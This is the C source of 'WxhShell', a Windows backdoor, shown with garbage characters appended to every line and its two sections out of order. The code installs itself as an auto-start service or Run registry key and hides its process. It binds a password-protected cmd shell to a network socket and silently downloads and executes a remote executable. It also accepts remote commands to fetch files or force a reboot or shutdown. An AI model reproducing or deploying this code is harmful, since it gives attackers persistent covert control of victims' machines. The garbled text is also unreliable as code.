    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K I  
    else { Fx~=mYU  
    closesocket(wsh); y-cRqIM  
    ExitThread(0); W( E!:  
    } f]^(|*6  
    break; S7P](F=n#  
    } ]7^OTrZ N  
  // 获取shell %0YwaxXPn7  
  case 's': { YC - -&66  
    CmdShell(wsh); 4xk'R[v  
    closesocket(wsh); _&FcHwRy  
    ExitThread(0); C8}ujC  
    break; =O?<WJoK  
  } E}-Y@( [  
  // 退出 Wo&MHMP  
  case 'x': { J_ ?;On5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 12gcma}  
    CloseIt(wsh); PPU,o8E+  
    break; kG[u$[B  
    } yBXdj`bV  
  // 离开 ^:5 ;H=.  
  case 'q': { k|F<?:C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BB-E"<  
    closesocket(wsh); 7G.IGXK$  
    WSACleanup(); %a&Yt  
    exit(1); .e!dEF)D  
    break; 3+u11'0=t  
        } %L.,:mtq)  
  } @QV|<NeH  
  } cF_ Y}C  
(5]<t&M  
  // 提示信息 F8$.K*tT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M&Sjo' ( .  
} h`-aO u  
  } C|5eV=f)P  
d^ L` dot  
  return; r"x|]nvg^  
} }o0R`15dA  
i64a]=  
// shell模块句柄 *F1!=:&s  
int CmdShell(SOCKET sock) w(U-6uA  
{ Li(}_  
STARTUPINFO si; *.K+"WS%  
ZeroMemory(&si,sizeof(si)); DlC`GZEtqh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YQ}Rg5 o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ogbLs)&+a  
PROCESS_INFORMATION ProcessInfo; f;!1=/5u-  
char cmdline[]="cmd"; L (XGD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1`)ie%=  
  return 0; fWhwI+  
} xbnx*4o0  
h-+9Bv]  
// 自身启动模式 5"%r,GMU  
int StartFromService(void) I7ZY9W(S  
{ A6v02WG_1T  
typedef struct (zIP@ H  
{ UX}ZE.cV  
  DWORD ExitStatus; "*CQ<@+  
  DWORD PebBaseAddress; Vcz ExP  
  DWORD AffinityMask; w{f!t8C*s  
  DWORD BasePriority; sXDS_Q  
  ULONG UniqueProcessId; =o^oMn  
  ULONG InheritedFromUniqueProcessId; 8ME_O~,N  
}   PROCESS_BASIC_INFORMATION; 2~Z P[wr  
FPE[}  
PROCNTQSIP NtQueryInformationProcess; YHAhF@&  
5+].$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S9S8T+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .0kltnB  
K:gxGRE  
  HANDLE             hProcess; Vz6p^kMB  
  PROCESS_BASIC_INFORMATION pbi; GGo)k1T|)  
/) sA{q 4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qqA(Swe)T  
  if(NULL == hInst ) return 0;  }&BE*U8_  
rCR?]1*Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (Gr8JpV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O]>9\!0{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4|YCBXWh  
r1b{G%;mJ  
  if (!NtQueryInformationProcess) return 0; ;wwhW|A  
8!2NZOZOS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9\ZlRYnc=  
  if(!hProcess) return 0; Y f:xM>.%  
};6[Byf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nAPSs]D  
{G&*\5W  
  CloseHandle(hProcess); Kmc*z (Q  
~Mbo`:>(4v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =)5O(h  
if(hProcess==NULL) return 0; ((&_m9a  
9g3e( z@  
HMODULE hMod; zs|R#?a=  
char procName[255]; 0$NcxbM  
unsigned long cbNeeded; S L<P`H|  
Vp{! Ft8>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Kq#\P  
Fka&\9i  
  CloseHandle(hProcess); QH@?.Kb_qU  
G8dC5+h  
if(strstr(procName,"services")) return 1; // 以服务启动 ,e$]jC<sv2  
FDBj<uXfM|  
  return 0; // 注册表启动 ts%XjCN[  
} c]LE9<G  
<wWZ]P 2]  
// 主模块 qp3J/(F  
int StartWxhshell(LPSTR lpCmdLine) 1Z%^U ?  
{ B64L>7\>`  
  SOCKET wsl; ,<R/jHZP9  
BOOL val=TRUE; AdBB#zd  
  int port=0; soh)IfZ  
  struct sockaddr_in door; @yiAi:v@  
H~IR:WOw  
  if(wscfg.ws_autoins) Install(); {:BAh 5e|  
Y '7f"W  
port=atoi(lpCmdLine); JAJo^}}{b  
r LQBaT7t#  
if(port<=0) port=wscfg.ws_port; V'?bZcRr~  
*`$Y!uzG:\  
  WSADATA data; q-gp;Fm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H8.Aq\2S  
J&Ig%&/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g$ bbm}6S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L c4\i  
  door.sin_family = AF_INET; ?# ~3%$>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lZ]x #v  
  door.sin_port = htons(port); tQ0iie1Ys  
?.Mw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dd1CuOd6(1  
closesocket(wsl); KG9h rT  
return 1; r+%:rFeX  
} 2..b/  
'-C%?*ku  
  if(listen(wsl,2) == INVALID_SOCKET) { vF yl,S5A  
closesocket(wsl); _~~:@fy  
return 1; A+Uil\%  
} *nJy  
  Wxhshell(wsl); \yt-_W=[  
  WSACleanup(); (ndXz  
u'Ja9m1  
return 0; 3h t>eaHi  
L&h@`NPO a  
} PNy)TqdRS  
,@I_b  
// 以NT服务方式启动 B-'oB>|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (=#[om( A  
{ |NuX9!S  
DWORD   status = 0; ueI1O/Mi  
  DWORD   specificError = 0xfffffff; Su" 9`  
T%0vifoQ_$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o[Ojl .r<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I ACpUB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .quui\I3  
  serviceStatus.dwWin32ExitCode     = 0; U`YPzZp_  
  serviceStatus.dwServiceSpecificExitCode = 0; 99 W-sV  
  serviceStatus.dwCheckPoint       = 0; pc9m,?n  
  serviceStatus.dwWaitHint       = 0; m# y`  
2?vjj:P+h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BG ] w2=  
  if (hServiceStatusHandle==0) return; 2"0q9Jg  
}E[u" @}  
status = GetLastError(); ;QYUiR  
  if (status!=NO_ERROR) $ZnLYuGb  
{ Pn?Ujjv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *B<Ig^c  
    serviceStatus.dwCheckPoint       = 0; 7oUecyoj  
    serviceStatus.dwWaitHint       = 0; kp F")0qr  
    serviceStatus.dwWin32ExitCode     = status; %LI[+#QE  
    serviceStatus.dwServiceSpecificExitCode = specificError; z}Y23W&sX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3B*b d  
    return; 5Bwr\]%$P  
  } /~sNx  
!~sgFR8W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k55s-%Ayr  
  serviceStatus.dwCheckPoint       = 0; OYnxEdo7  
  serviceStatus.dwWaitHint       = 0; VN3"$@-POK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cD^`dn%$  
} O5rHN;\_  
VycC uq&M  
// 处理NT服务事件,比如:启动、停止 )w.+( v(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4Js2/s  
{ ;/-v4  
switch(fdwControl) {tS^Q*F  
{ "&$ [@c  
case SERVICE_CONTROL_STOP: y $i^C:N  
  serviceStatus.dwWin32ExitCode = 0; 0)<\jo1 F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `O5 Hzb(}  
  serviceStatus.dwCheckPoint   = 0; p2m@0ou  
  serviceStatus.dwWaitHint     = 0; "gt-bo.,  
  { 6yn34'yw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j?c"BF.  
  } kSL7WQe?j  
  return; %E<.\\^%  
case SERVICE_CONTROL_PAUSE: U%.%:'eV=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g+( Cs  
  break; [p&n]T  
case SERVICE_CONTROL_CONTINUE: rE->z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vR`#kxSdJ@  
  break; Go^a~Sf$  
case SERVICE_CONTROL_INTERROGATE: :?uUh  
  break; [N@t/^gRC  
}; " a&|{bv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]81t~t9LQ  
} 4lM)ZDg  
F!k3/z  
// 标准应用程序主函数 qS8p)pw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t(~V:+W9  
{ ot%^FvQ[c  
hB?a{#JL  
// 获取操作系统版本 W|2o^ V  
OsIsNt=GetOsVer(); 4*`AYx(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MWGs:tpL4  
Z--A:D>  
  // 从命令行安装 d+caGpaR  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9\dpJ\  
0f_+h %%=  
  // 下载执行文件 ]n\Qa   
if(wscfg.ws_downexe) { 9N+3S2sBx&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =D>,s)}o3;  
  WinExec(wscfg.ws_filenam,SW_HIDE); QD8.C=2R  
} -RLY.@'d-M  
ol[sX=5 *  
if(!OsIsNt) { o"kVA;5<G  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ee~<PDzB  
HideProc(); (7X|W<xT  
StartWxhshell(lpCmdLine); RJpRsr  
} y 4 wV]1  
else "V= IG{.  
  if(StartFromService()) I ~U1vtgp  
  // 以服务方式启动 kVmR v.zZ  
  StartServiceCtrlDispatcher(DispatchTable); 9V'ok.B.x  
else &gxWdG}qx]  
  // 普通方式启动 B|f =hlY  
  StartWxhshell(lpCmdLine); 6D\$K  
B5A/Iv)2  
return 0; w$)NW57[|  
} C {*' p+f  
{+3 `{34e  
h]+UK14m  
u# TNW.  
=========================================== '9ki~jtf=  
a<NZC  
W>E/LBpE4  
+!~"o oQZh  
K]{x0A  
@%^JB  
" +nIjW;RU  
< NRnE8:  
#include <stdio.h> iJ&jg`"=F  
#include <string.h> P Nf_{4  
#include <windows.h> OGR2Y  
#include <winsock2.h> g7UZtpLTm  
#include <winsvc.h> 4\_~B{kzZ  
#include <urlmon.h> WR.>?IG2E  
>iV2>o_  
#pragma comment (lib, "Ws2_32.lib") +QW| 8b  
#pragma comment (lib, "urlmon.lib") t?aOZps  
s+-V^{Ht  
#define MAX_USER   100 // 最大客户端连接数 {i^F4A@=Z  
#define BUF_SOCK   200 // sock buffer $eq*@5B  
#define KEY_BUFF   255 // 输入 buffer G`e!WvC  
R<<U(.E  
#define REBOOT     0   // 重启 e0$.|+  
#define SHUTDOWN   1   // 关机 5r` x\  
6uTFgSqZ  
#define DEF_PORT   5000 // 监听端口 mB5Sm|{  
ufi:aE=}  
#define REG_LEN     16   // 注册表键长度 L%`MoTpK q  
#define SVC_LEN     80   // NT服务名长度 }> ]`#s  
rj ] ~g  
// 从dll定义API $~,J8?)(z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2CF5qn}T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U^;|as  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )z_5I (?&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <\'aUfF v  
QPyHos `  
// wxhshell配置信息 dJ 9v/k_  
struct WSCFG { Y6[ O s1  
  int ws_port;         // 监听端口 r [E4/?_  
  char ws_passstr[REG_LEN]; // 口令 'Ul^V  
  int ws_autoins;       // 安装标记, 1=yes 0=no lD#S:HX  
  char ws_regname[REG_LEN]; // 注册表键名 g7;OZ#\  
  char ws_svcname[REG_LEN]; // 服务名 b{Bef*`/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Djr/!j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,Dy9-o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6pdek3pOCt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m ##_U9O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _B?Hw[cc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 re x MS  
A7I{Le  
}; C klIrD{  
d6f T  
// default Wxhshell configuration Ul Mc8z  
struct WSCFG wscfg={DEF_PORT, b:Tv Ta  
    "xuhuanlingzhe", ANRZQpnXQ  
    1, LL_@nvu}M  
    "Wxhshell", >H,5MM!  
    "Wxhshell", H oO1_{q"  
            "WxhShell Service", 6ltV}Wt-  
    "Wrsky Windows CmdShell Service", _oE 7<  
    "Please Input Your Password: ", =X;h _GQ  
  1, m2\[L/W]  
  "http://www.wrsky.com/wxhshell.exe", Vz]yJ:  
  "Wxhshell.exe" r`Bm" xI  
    }; (5l'?7  
2@Zw#2|]  
// 消息定义模块 pM-mZ/?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8wLGmv^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j 6dlAe  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wD92Ava   
char *msg_ws_ext="\n\rExit."; ;--p/h*.  
char *msg_ws_end="\n\rQuit."; Rjn%<R2nW  
char *msg_ws_boot="\n\rReboot..."; 7po;*?Ox  
char *msg_ws_poff="\n\rShutdown..."; ) S-Fuq4i4  
char *msg_ws_down="\n\rSave to "; :0kKw=p1R  
jG%J.u^k  
char *msg_ws_err="\n\rErr!"; ()ww9L2  
char *msg_ws_ok="\n\rOK!"; T}jW,Ost  
MP p    
char ExeFile[MAX_PATH]; |)OC1=As  
int nUser = 0; #!C|~=  
HANDLE handles[MAX_USER]; 5^N y6t  
int OsIsNt; G6bvV*TRi  
.\+c{  
SERVICE_STATUS       serviceStatus; p{x6BVw?>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gce[RB:  
-XfGF<}r  
// 函数声明 F8xu&Vk0:  
int Install(void); GA"vJFQ  
int Uninstall(void); 0v|qP  
int DownloadFile(char *sURL, SOCKET wsh); $+ORq3  
int Boot(int flag); uMjL>YLq{?  
void HideProc(void); g: YUuZ  
int GetOsVer(void); W/.n R[!  
int Wxhshell(SOCKET wsl); I2gSgv%  
void TalkWithClient(void *cs); J4Ca0Ag  
int CmdShell(SOCKET sock); m A('MS2  
int StartFromService(void); blUS6"kV}  
int StartWxhshell(LPSTR lpCmdLine); |\RN%w7E8  
XO5E-Nh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \Rw^&;\1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \j4!dOGZ  
d*$x|B|V  
// 数据结构和表定义 @QDUz>_y  
SERVICE_TABLE_ENTRY DispatchTable[] = SC--jhDZ  
{ >#y1(\e  
{wscfg.ws_svcname, NTServiceMain}, W~5gTiBZ]  
{NULL, NULL} lNMJcl3  
}; 2RdpVNx\y  
tILnD1q  
// 自我安装 Ym#io]  
int Install(void) OKA6S*  
{ I5E5,{  
  char svExeFile[MAX_PATH]; :4)lmIu  
  HKEY key; L i+|%a  
  strcpy(svExeFile,ExeFile); i "aQm  
cqp^**s  
// 如果是win9x系统,修改注册表设为自启动 9t7 e~&R  
if(!OsIsNt) { ?lm<)y?I7+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { orFB*{/Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z ZT2c0AK  
  RegCloseKey(key); Ch]q:o4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <bJ~Ol  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X7SSTcA   
  RegCloseKey(key); 88}04  
  return 0; 2<*Yq 8  
    } mhF@S@  
  } _)~|Z~  
} tPDB'S:&3  
else { X^C $|:  
]j.!   
// 如果是NT以上系统,安装为系统服务 w$`u_P|@E:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I.o3Old  
if (schSCManager!=0) &-x/c\jz  
{ D"K! ELGW  
  SC_HANDLE schService = CreateService u@aM8Na  
  ( OA7=kH@3c  
  schSCManager, %5;kNeD\Fq  
  wscfg.ws_svcname, Up>,~bs]  
  wscfg.ws_svcdisp, #+^l3h MK  
  SERVICE_ALL_ACCESS, )5TX3#=;(G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (A;HB@)[A  
  SERVICE_AUTO_START, |[!0ry*N%  
  SERVICE_ERROR_NORMAL, xRF_'|e  
  svExeFile, ?h8/\~Dw  
  NULL, P.~sNd oJ  
  NULL, { h;i x  
  NULL, `KE(R8y  
  NULL, (JiEV3GH  
  NULL Si|8xq$E;  
  ); 7A  
  if (schService!=0) AI .2os*  
  { >Lz2zlZI  
  CloseServiceHandle(schService); *T{KpiuP  
  CloseServiceHandle(schSCManager); Ds\f?\Em  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aX~' gq>  
  strcat(svExeFile,wscfg.ws_svcname); efh1-3f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %Jn5M(myC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )Y?E$=M +B  
  RegCloseKey(key); ~'):1}KN]  
  return 0; 7RgnL<t~:8  
    } 5a* Awv}  
  } .\)p3pC)  
  CloseServiceHandle(schSCManager); FFH {#|_1  
} 94XRf"^  
} ) |hHbD^V  
Uzk_ae  
return 1; ]o_E]5"jO  
} p-/}@r3Z+  
2aQ}| `  
// 自我卸载 U7G|4(  
int Uninstall(void) Vb2")+*:  
{ *c@]c~hY,  
  HKEY key;  ^9kdd[  
t*Wxvoxk  
if(!OsIsNt) { gOk^("@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ||?wRMV  
  RegDeleteValue(key,wscfg.ws_regname); /h@rLJ)o>  
  RegCloseKey(key); @HXXhYH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %$!EjyH9  
  RegDeleteValue(key,wscfg.ws_regname); <JJi  
  RegCloseKey(key); P+3)YO1C  
  return 0; Os1y8ui  
  } `RE1q)o}8M  
} dGc>EZSdj  
} 5xG/>f n  
else { K9Pw10g'  
t{/ EN)J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 14\!FCe)!  
if (schSCManager!=0) o-t!z'\lO  
{ yDw^xGws  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D%.<} vG  
  if (schService!=0) 5{6ebq55"  
  { nzu 3BVv  
  if(DeleteService(schService)!=0) { H %PIE1_  
  CloseServiceHandle(schService); Q_a%$a.rV  
  CloseServiceHandle(schSCManager); Y'%_--  
  return 0; P^*gk P  
  } :Ee5:S   
  CloseServiceHandle(schService); fKT(.VN q5  
  } GgjBLe=C  
  CloseServiceHandle(schSCManager); 6d/b*,4[  
} VAR/"  
} 6UJBE<ntj  
4HDQj]z/  
return 1; dzMI5fA<_  
} 4^B:Q9B)  
Py,@or7n  
// 从指定url下载文件 ?jzadCel  
int DownloadFile(char *sURL, SOCKET wsh) cl-i6[F  
{ }(XvI^K[^  
  HRESULT hr; UJF }Ye  
char seps[]= "/"; Web8"8eD  
char *token; !PrO~  
char *file; ]# T9v06w  
char myURL[MAX_PATH]; WJL,L[XC  
char myFILE[MAX_PATH]; r^6v o6^  
I!Za2?  
strcpy(myURL,sURL); `P4qEsZE>`  
  token=strtok(myURL,seps); gf2w@CVF>=  
  while(token!=NULL) _E[{7 "3}  
  { *)d|:q3  
    file=token; z95V 7E  
  token=strtok(NULL,seps); Bf88f<Z  
  } am05>c9  
`\P:rn95;  
GetCurrentDirectory(MAX_PATH,myFILE); Y<.F/iaH  
strcat(myFILE, "\\"); D2Go,1  
strcat(myFILE, file); p:ST$ 1 K  
  send(wsh,myFILE,strlen(myFILE),0); P-`^I`r  
send(wsh,"...",3,0); osX23T~-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YKvFZH)  
  if(hr==S_OK) V2]S{!p}k  
return 0; "WYcw\@U  
else (A &@ <  
return 1; 0KT{K(  
c\4n7m,y  
} iVu+ct-iv  
z?"5= "D  
// 系统电源模块 JT^E `<nn  
int Boot(int flag) c)E[K-u  
{ I}v'n{5(  
  HANDLE hToken; )3B5"b,  
  TOKEN_PRIVILEGES tkp; n7q-)Dv_U  
n8G#TQrAE  
  if(OsIsNt) { W\<#`0tUt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O x$|ZEh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d8RpL{9\7  
    tkp.PrivilegeCount = 1; p go\(K0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8rp-Xi W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); = xX^  
if(flag==REBOOT) { }\ DQxHG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j*:pW;)^  
  return 0; ?s"v0cg+  
} EShakV  
else { S s`0;D1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e<^4F%jSK  
  return 0; 47K5[R  
} 4l`gAE$  
  } \]ODpi 2  
  else { #!D5DK@+  
if(flag==REBOOT) { <7] z'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nG%j4r ;  
  return 0; VD#^Xy4% r  
} VYAe !{[  
else { 4COf H7Al9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YKc{P"'/ |  
  return 0; \!V6` @0KC  
}  xBG1up<z  
} "\=_- `  
>aWJ+  
return 1; ,6buo~?W:  
} TQ2Tt "  
8c|IGC  
// win9x进程隐藏模块 \%Smp2K  
void HideProc(void) M{4_BQ4$  
{ G<dXJ ]\\  
#dfW1@m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y14@9<~9  
  if ( hKernel != NULL ) ?GC0dN  
  { j5)qF1W,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7=AKQ7BB>b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vZDQ@\HrC  
    FreeLibrary(hKernel); 4QVd{  
  } M1M]]fT0ME  
-)I_+N  
return; ,/ : )FV  
} t3XMQ']  
zLn#p]  
// 获取操作系统版本 nz',Zm},  
int GetOsVer(void) )yK!qu  
{ I^|bQ3sor  
  OSVERSIONINFO winfo; 09?<K)_G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?hu 9c  
  GetVersionEx(&winfo); O&s6blD11  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X>6a@$MxP  
  return 1; _# F'rl6'  
  else uR%H"f  
  return 0; <FK><aA_i*  
} By_Ui6:D  
 e.GzGX  
// 客户端句柄模块 D?'y)](  
int Wxhshell(SOCKET wsl) h5gXYmk  
{ 9 $S,P|  
  SOCKET wsh; j&pgq2Kl  
  struct sockaddr_in client; .2P?1HpK  
  DWORD myID; 6J*`<k/ S  
HlSuhbi'@  
  while(nUser<MAX_USER) wm8x1+P  
{ "J1ar.li  
  int nSize=sizeof(client); 8dhY"&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .-AB o]hf  
  if(wsh==INVALID_SOCKET) return 1; 31C]TdJ  
7a<qP=J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N [u Xo  
if(handles[nUser]==0) -CrZ'k;4  
  closesocket(wsh); y {]%,  
else }sU\6~  
  nUser++; KV*:,>  
  } z Y|g#V-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "p{ '984r<  
;Z_C3/b  
  return 0; eQx"nl3U%  
} #c>MUC(?s:  
h<.[U $,  
// 关闭 socket bSghf"aN  
void CloseIt(SOCKET wsh) ,lJ6"J\8.  
{ M::iU_  
closesocket(wsh); #0D.37R+k  
nUser--; |7$h@KF=S  
ExitThread(0); TH!8G,(w  
} pQY>  
(r4VIlap  
// 客户端请求句柄 `RcNqPY#S  
void TalkWithClient(void *cs) RX1{?*r]Z  
{ U;GoC$b}|  
(<Xdj^v  
  SOCKET wsh=(SOCKET)cs; C(|5,P#5  
  char pwd[SVC_LEN]; +_dYfux  
  char cmd[KEY_BUFF]; \xxVDr.  
char chr[1]; i 8Xz  
int i,j; ^BX@0"&-  
`yZZP   
  while (nUser < MAX_USER) { YoJ'=z,e  
!f-o,RJ  
if(wscfg.ws_passstr) { J#DcT@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HJR<d&l;p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zYdtQjv  
  //ZeroMemory(pwd,KEY_BUFF); Bedjw =B  
      i=0; ]P$DAi   
  while(i<SVC_LEN) { <\g&%c,   
~,68S^nP)H  
  // 设置超时 @t8kN6.  
  fd_set FdRead; O97bgj]  
  struct timeval TimeOut; })lT fy  
  FD_ZERO(&FdRead); YX VJJd$U  
  FD_SET(wsh,&FdRead); 3{:<z 4>{  
  TimeOut.tv_sec=8; f](uc(8Z  
  TimeOut.tv_usec=0; :5{@*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k)V%.Eobf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U]0)$OH5e  
\]A;EwC4C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _vV&4>  
  pwd=chr[0]; vqOLSE"t*O  
  if(chr[0]==0xd || chr[0]==0xa) { ~!F4JRf  
  pwd=0; TrU@mYnE  
  break; je4&'vyU  
  } D!a5#+\C  
  i++; q{/Jw"e  
    } 5Y=\~,%\oH  
t=rAc yNM  
  // 如果是非法用户,关闭 socket -==qMrKP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dm=F:\C  
} t}k'Ba3]:Y  
bxSKe6l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $3.vVnc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ai jGz<  
LIC~Kehi  
while(1) { l\;mP.!  
Jx$#GUl#j  
  ZeroMemory(cmd,KEY_BUFF); |QOJ9~hxD  
E 'JC  
      // 自动支持客户端 telnet标准   qmeml_(W  
  j=0; (TNY2Ke2 8  
  while(j<KEY_BUFF) { pptM &Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MlK`sH6  
  cmd[j]=chr[0]; zWs*kTtA  
  if(chr[0]==0xa || chr[0]==0xd) { .*~u  
  cmd[j]=0; /cC6qhkp%  
  break; _G[I2]  
  } *;e@t4  
  j++; ;c- ]bhBB  
    } 2{B(j&{  
]p&<nK,  
  // 下载文件 Jrd4a~XP  
  if(strstr(cmd,"http://")) { Vt=(2d5:p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M:Y*Tb6w  
  if(DownloadFile(cmd,wsh)) )YMlF zYr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NJ)2+  
  else 3U"')  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lv5X 'yM  
  } <cv2-?L{  
  else { 'gZbNg=&[  
H<Kkj  
    switch(cmd[0]) { Yuo1'gE+  
  ?QSx8d  
